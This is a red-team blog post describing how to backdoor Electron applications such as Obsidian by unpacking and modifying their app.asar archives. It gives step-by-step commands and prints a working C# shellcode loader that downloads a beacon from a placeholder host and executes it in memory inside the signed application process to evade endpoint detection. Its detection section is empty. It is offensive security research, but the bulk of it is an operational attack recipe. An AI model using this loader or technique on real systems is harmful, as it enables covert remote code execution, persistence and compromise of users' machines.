home..

Electron Shellcode Loader

Background

With the advancements in endpoint security products, operators have looked to identify alternative mechanisms to execute code and perform post-exploitation on target hosts. As Electron applications become more prevalent in corporate environments, they become attractive targets for operators, since they typically are signed executables and communicate outbound to external servers.

I have no background in NodeJS/Electron development, so I began to research the framework, how applications were developed, and how applications might be exploited. The research in this blog is an extension of the work of many excellent researchers. I highly recommend checking out their work, which will be referenced below.

The blog will be structured in four parts:

Electron

Electron Components

Before we can start to dive into the research, we must provide an introduction to Electron. Electron is a runtime framework for developing cross-platform desktop applications in JavaScript, HTML, and CSS. Electron is used by several large applications, such as Slack, Visual Studio Code, Obsidian, Microsoft Teams, Skype, Discord, and Signal.

At its core Electron consists of three components: Chromium’s rendering library, Node.js, and C++. Chromium’s rendering library, also known as libchromiumcontent, provides support for the latest web standards and access to an efficient JavaScript engine. Node.js provides the JavaScript runtime built on top of Google’s V8 JavaScript engine, as well as access to thousands of open-source NPM modules for developers to take advantage of. Lastly, C++ provides developers with the ability to extend Electron’s APIs for common operating system operations.

Electron Process Model

Electron inherits a multi-process architecture from Chromium, which has one main browser process and a process for each rendered tab. This provides application stability when one tab becomes corrupt or crashes.

In Electron, there is one Main Process that runs a Node.js environment. The main process has direct access to Electron/Node.js APIs and can use Native APIs to extend Electron functionality to allow interaction with the operating system.

Like Tabs in Chromium, each time the Electron application wants to render web content, it generates a Renderer Process. The Renderer Process is a limited Node.js environment with no direct access to some Electron APIs. It communicates via an IPC mechanism to the Main Process. The image below illustrates the Electron Process Model.

ElectronProcessModel

ASAR Hijacking

While researching Electron applications, I stumbled upon an article by Pavel Tsakalidis of Context Information Security on Basic Electron Framework Exploitation. The article describes how Electron applications can be abused and backdoored through the modification of Electron archive files, also known as ASAR files. His blog is the foundation of my research and due to its similarities to DLL Hijacking, something I coin as “ASAR Hijacking”.

Application Packaging (ASAR Files)

ASAR is a simple extensive archive format. It is similar to tar, where all files are concatenated together, but does not compress the contents of the archive. When looking at an Electron application’s resources folder, you will typically identify several ASAR files. The one we are mostly concerned with is the app.asar archive, shown in the image below. The app.asar archive contains the application’s source code.

ASARFiles

Electron’s architecture exposes ASAR files in an application’s installation folder, which on Windows, is usually %LOCALAPPDATA%. This makes it an excellent target for hijacking, since low-privileged users have read and write access to the contents of these directories. Modifying to the contents of these packages and repacking them allows a user to directly modify the functionality of the target Electron application without modifying the signature of the actual executable. The app.asar contains (at a minimum) a package.json file, the entry point JavaScript file, and the Node Modules directory (node_modules). Contents of these files are not encrypted or protected. The image below shows the contents of the Obsidian app.asar archive.

ASARContents.png

Before I demonstrate how to abuse ASAR files, I must explain each of the contents of these archives. Package.json is the manifest for the application, containing properties about the application. The important properties worth knowing for ASAR hijacking are the main and dependency properties. The main property sets the entry point for the application. In simpler terms, it points to the JavaScript code that is executed once the package is loaded. The dependency property sets a list of external packages installed as dependencies to the application. Anytime you install an external library to your package, this property must be updated so your package knows to look for it. The image below shows Obsidian’s package.json.

PackageJson.png

The application’s entry point contains the Main Process code. This entry point file is set by the package.json, as seen above. Some applications, like Slack, minify and obfuscate the application’s source code. For example, Slack uses Webpack to bundle these files. It isn’t the end of the world to backdoor these applications, but it requires a few additional steps to view and modify. The image below shows a portion of Obsidian’s entry point JavaScript file (main.js).

EntryPointFile.png

Lastly, Node Modules are a set of external libraries you want to include in your application. The node_modules folder stores external modules that are used by an application. Node/Electron also have a set of built-in modules that don’t require further installation. Once a module is locally stored, you can use require(“packagename”) to load it. The image below shows how modules are stored in the node_modules folder.

NodeModules.png

ASAR Backdooring Process

Finally, we have survived the background on Electron and ASAR files and can get into the fun part. This section with describe how ASAR files are extracted, modified, and backdoored for code execution.

I will give a high overview of the backdooring process and then walk through the process step by step.

Backdooring Summary:

Before we begin, we must prep your backdooring environment. ASAR archives can be backdoored on and off a target host. The first thing you must do is install Node.js and the Native Modules tools. To install Node.js, go to https://nodejs.org/en/download. Follow the installation setup wizard to install the needed modules.

NodeJSInstallation.png

NodeJSNativeModulesInstallation.png

NodeJSNativeModulesInstallationPt2.png

Once you have installed Node.js, identify your target application’s installation folder and obtain the application’s app.asar. Electron applications are typically stored in %LOCALAPPDATA% and an application’s app.asar archive is stored under the /resources directory of that application’s installation folder. For reference, see Obsidian’s resources directory below.

ResourcesDirectory.png

ASARDirectory.png

With the asar module installed (npm install -g asar), extract the contents of the ASAR directory. If you perform the unpacking and backdooring off a target host, you must download both the app.asar and the app.asar.unpacked. The image below demonstrates the unpacking process for the Obsidian application.

UnpackedASARProcess.png

Once you have extracted the contents of the app.asar, modify the entry point JavaScript file. If you are unsure what the entry point file is, check the Main property of the package.json file. In regard to the Obsidian application, I modified the main.js file. Main.js contains the code that runs in the Main Process. Towards the beginning of the script, I appended a simple platform-agnostic backdoor, which I pulled from Parsiya’s Evil-Electron project. For applications, running on Windows, a simple cmd.exe prompt will execute as a child process to the main Obsidian application. You can see the code I used in the image below.

BackdoorEntryPoint.png

Once the backdoor was added, it was time to repack the contents of the directory back into the app.asar. Since I used no external modules, there was no need to modify the node_modules directory and package.json file. Using the asar module, run the command in the image below to repack the backdoored app.asar. After you have repacked the code, drop the app.asar back into the /resources directory.

RepackingASAR.png

When Obsidian is executed, the application loads the modified ASAR file and the command prompt is executed. As you can see below in the Process Hacker output, the Obsidian process spawns a cmd.exe child process. From an operational security perspective, this isn’t very safe and would most likely be flagged by commerical EDRs.

ObsidianChildProcessBackdoor

ASAR Backdooring Results

Pros:

Cons:

EDRMeme

Edge.js Library and .NET Shellcode Loader

Based on the previous section, we need to find a way to execute code in the context of the Electron application without spawning any suspicious child processes. As I was beginning this research, I stumbled upon a blog by Gabriel Mathenge that documents how VSCode Plugins can be backdoored to execute code. In that blog, he documents a Node.js library called Edge.js that provides an interop mechanism between the Google V8 and .NET CLR. During some further research, VSCode plugins have a very similar structure to ASAR archives. The following section documents the Edge.js library and demonstrates how to execute .NET code from production Electron applications.

Edge.js Library

The Edge.js library provides an interop mechanisms between the Google V8 and .NET CLR. In simple terms, it allows developers to run .NET code and Node.js in a single process. The interesting thing about the library is that it supports running code in any CLR langauge within a Node.js application, including C#, F#, PowerShell, and Python (Requires IronPython).

The internals of the library aren’t well documented, but the library is built off native modules and handles marshalling of data between the CLR and V8, as well as threading models between the single-threaded V8 and the multi-threaded CLR. The CLR code can be pre-compiled or compiled at runtime, providing operators with the flexibility to script their .NET code directly into the JavaScript entry point file, or point the application to a provided DLL file and execute particular functions. If an operator wants to have the application compile their code at runtime, the host must be running .NET 4.5. Once the library is loaded, the library starts hosting the CLR inside the application process.

Edge.js Backdooring Process

This section will describe how ASAR files can be modified and backdoored using the Edge.js library. Just like in the section above, I will give a high overview of the backdooring process and then walk through the process step by step. A good chunk of this process was debugging and fixing the outdated libraries. To save everyone the headache, I have forked the repositories, modified the code, and built the necessary native modules for the current Electron versions. I will still provide information on that troubleshooting process in case anyone runs into similar problems.

Backdooring Summary:

Like in the previous section, identify your target ASAR file and unpack the contents into a directory of your choosing. Within that directory, run the command npm i https://github.com/gymR4T/electron-edge-js to install the electron-edge-js package locally in the repository. Installing it locally will also add the library to the dependencies section of the package.json and add the Node Module and dependencies to the node_modules folder on the repository, as shown below. Depending on how the package.json is set up, you may run into an odd issue that seems to arise when dependencies are referenced using “../”. When dependencies are referenced that way, their node modules get messed up when locally installing external repositories. A simple fix around it is to unpack the asar again and copy the contents over.

InstallationElectronLibrary.png

UpdatedPackageJson.png

UpdatedNodeModules.png

Once you’ve installed the necessary modules, it’s time to modify the entry point file. Load the library by adding var edge = require('electron-edge-js'); to the file. With the library loaded, now it’s time to add our CLR code. I used Gabriel’s code as a guide for understanding the Edge.js convention. By convention, the class must be called Startup and must have an Invoke method that matches the delegate signature. For more information, see the Edge.js Github readme. Below is the quick, messy demo code I whipped up:

var edge = require('electron-edge-js');
var presentationCode = edge.func(function() {/*
	using System;
	using System.Net;
	using System.Threading.Tasks;
	using System.Runtime.InteropServices;

	class Startup
	{
		[DllImport("kernel32.dll")]
		static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
		[DllImport("kernel32.dll")]
		public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

		static void SelfInject(byte[] shellcode) 
		{
			uint threadId;
			var hMemory = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000 | 0x2000, 0x40);
			Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);
			CreateThread(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, out threadId);
		}
		
		public async Task<object> Invoke(object input)
		{
			var client = new WebClient();
			var buf = client.DownloadData("http://X.X.X.X:80/beacon.bin");
			SelfInject(buf);
			return null;
		}
	}
*/});

presentationCode(null, function (error,results){
if (error) throw error;
});

Once you’ve added your code to the entry point file, pack the contents back into the app.asar, but leave the edge-cs dependency unpacked. Unpacking node_modules is fairly common in Electron applications and the edge-cs dependency was having issues when it was packed in the ASAR file. The command to pack the contents and leave out the edge-cs library are seen in the image below.

RepackingEdgeASAR.png

When Obsidian is executed, the application loads the modified ASAR file and the CLR is hosted in the process. Our malicious .NET code is loaded and executed, successfully spawning a beacon on the host in the context of the Obsidian process. As you can see below in the Process Hacker output, the Obsidian process does not spawn any suspicious child processes outside of the normal Obsidian renderer processes.

ElectronShellcodeLoaderPoC

Edge.js Backdooring Results

Pros:

Cons:

Troubleshooting

Electron-Edge-JS Does Not Support Electron Version

In the case when an application is built with a newer version of Electron, you must build the electron-edge-js library to support that version. I have taken the liberty of building the electron-edge-js for versions up to 18.0.0, which should, at the moment, support all Electron applications. In case I’m lazy in the future, there is a simple way to build electron-edge-js for a target Electron version. First, modify the build.bat, stored in the /electron-edge-js/tools/ directory, to add the target Electron version. As seen in the image below, you need to make sure it is set to target the correct equivalent Node.js version (Ex. Electron 17.0.0 = Node.js 16.13.0).

EditingBuildScript

Once you’ve added the correct Electron version, run the command build.bat release <Target Electron Version> to run the build script and build the native module files. Once the script finishes, you should see these files in the /electron-edge-js/lib/native/win32/x64/ folder.

UpdatedElectronVersion

Missing Node Modules Dependencies

Depending on how the package.json is set up, you may run into an odd issue that seems to arise when dependencies are referenced using “../”, as shown below.

WeirdPackageJsonIssue

When dependencies are referenced that way, their node modules get messed up when locally installing external repositories. The dependencies will return errors saying they don’t know where to find the package. A simple fix around it is to unpack the target asar again and copy the contents over.

FixingDependencyIssue

Detection Opportunities

Conclusion

Electron is a widely used runtime framework that is seen in majority of organization environments. Due to architectural design, Electron exposes the capability for a user to modify application source code on the host, allowing attackers to backdoor production Electron applications. Based on my research, there is not a widely available solution for providing developers the ability to perform integrity validation on ASAR files being loaded into applications, outside of comparing hashes, which I’ve yet to see an application do. Until Electron maintainers and application developers provide a solution, applications will be vulnerable to this abuse.

References

© 2022 Fletcher Davis   •  Theme  Moonwalk